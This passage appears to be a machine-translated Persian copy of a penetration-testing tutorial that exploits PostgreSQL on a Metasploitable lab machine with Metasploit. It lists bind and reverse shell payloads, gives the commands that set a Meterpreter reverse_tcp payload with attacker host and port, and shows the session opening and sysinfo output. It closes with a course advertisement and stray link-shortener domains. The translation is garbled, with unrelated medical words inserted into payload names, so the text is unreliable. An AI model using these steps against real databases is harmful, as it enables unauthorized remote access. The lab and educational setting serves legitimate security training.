باليني (Linux x86) 20 لینوکس/x86/پوسته/bind_ipv6_tcp_uuid طبیعی بدون پوسته فرمان لینوکس, اتصال به IPv6 TCP فيزيوپاتولوژی با UUID پشتیبانی (Linux x86) 21 لینوکس/x86/پوسته/bind_nonx_tcp طبیعی بدون پوسته فرمان لینوکس, اتصال TCP فيزيوپاتولوژی 22 لینوکس/x86/پوسته/bind_tcp طبیعی بدون پوسته فرمان لینوکس, اتصال TCP كارآموزي باليني (Linux x86) 23 لینوکس/x86/پوسته/bind_tcp_uuid طبیعی بدون پوسته فرمان لینوکس, اتصال TCP فيزيوپاتولوژی با UUID پشتیبانی (Linux x86) 24 لینوکس/x86/پوسته/reverse_ipv6_tcp عادی هیچ Linux Command Shell معکوس TCP كارآموزي باليني (IPv6) 25 لینوکس/x86/پوسته/reverse_nonx_tcp عادی هیچ Linux Command Shell معکوس TCP فيزيوپاتولوژی 26 لینوکس/x86/پوسته/reverse_tcp عادی هیچ Linux Command Shell معکوس TCP فيزيوپاتولوژی 27 لینوکس/x86/پوسته/reverse_tcp_uuid عادی هیچ Linux Command Shell معکوس TCP فيزيوپاتولوژی 28 لینوکس/x86/shell_bind_ipv6_tcp طبیعی بدون پوسته فرمان لینوکس, اتصال TCP خطی (IPv6) 29 لینوکس/x86/shell_bind_tcp طبیعی بدون پوسته فرمان لینوکس, اتصال TCP خطی 30 لینوکس/x86/shell_bind_tcp_random_port طبیعی بدون پوسته فرمان لینوکس, اتصال TCP پورت تصادفی خطی 31 لینوکس/x86/shell_reverse_tcp عادی هیچ Linux Command Shell معکوس TCP خطی 32 لینوکس/x86/shell_reverse_tcp_ipv6 عادی هیچ Linux Command Shell معکوس TCP خطی (IPv6)

بیایید با استفاده از محبوب Meterpreter معکوس پوسته; استفاده از تنظیم فرمان برای تنظیم ظرفیت ترابری:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > set payload لینوکس/x86/meterpreter/reverse_tcp حمل بار => لینوکس/x86/meterpreter/reverse_tcp

ما نیاز به تنظیم میزبان محلی و محلی بندر گزینه های پس از این پوسته معکوس. مجموعه lhost به آدرس IP محلی ما ماشین:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > set lhost 10.10.0.1 lhost => 10.10.0.1

و lport به یک پورت خود را انتخاب:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > مجموعه lport 4321 lport => 4321

که باید همه چیز ما نیاز داریم بنابراین اجازه دهید آن را خاموش:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > اجرا [*] شروع معکوس TCP کنترل 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 در i486-pc-linux-gnu وارد شده توسط شورای همکاری خلیج فارس سی سی (شورای همکاری خلیج فارس) 4.2.3 (اوبونتو 4.2.3-2ubuntu4)
[*] به عنوان ارسال شده /tmp/FKXyvnhM.بنابراین باید تمیز شود تا به طور خودکار
[*] ارسال مرحله (985320 بایت) به 10.10.0.50
[*] Meterpreter جلسه 1 افتتاح شد (10.10.0.1:4321 -> 10.10.0.50:37662) در 2020-05-10 12:18:23 -0600 meterpreter >

ما می توانیم آن را ایجاد کنترل ارسال حمل بار در هدف و در نهایت باز می شود یک جلسه. ما هم اکنون می توانید اجرای دستورات مانند sysinfo به منظور بررسی ما یک پوسته بر روی هدف:

meterpreter > sysinfo کامپیوتر : metasploitable.localdomain
سیستم عامل : Ubuntu 8.04 (لینوکس 2.6.24-16-سرور)
معماری : i686
BuildTuple : i486-لینوکس-musl
Meterpreter : x86/لینوکس

کاغذ بسته بندی

امروز ما یاد گرفته در مورد PostgreSQL پایگاه داده ها و نحوه جمع آوری اطلاعات در آنها به کمک recon است. اول ما زد یک Nmap اسکن به منظور بررسی خدمات باز شد بر روی هدف. ما پوشش انواع ماژول ها برای جمع آوری اطلاعات از جمله نسخه ورود به سیستم نام کاربر و رمز عبور هش. در نهایت ما با استفاده از یک ماژول به بهره برداری PostgreSQL و در نهایت به دست آمده Meterpreter جلسه در هدف.

می خواهید شروع به ساختن پول به عنوان یک کلاه سفید هکر? پرش شروع خود را-کلاه سفید هک حرفه ای با ما 2020 حق بیمه هک اخلاقی, گواهینامه آموزشی از بسته نرم افزاری جدید Null Byte فروشگاه و دریافت بیش از 60 ساعت آموزش از هک اخلاقی حرفه ای است.

خرید در حال حاضر (96٪) >

تصویر جلد توسط Tim van der Kuip/Unsplash


tinyurlis.gdclck.ruulvis.netshrtco.de
آخرین مطالب
مقالات مشابه
نظرات کاربرن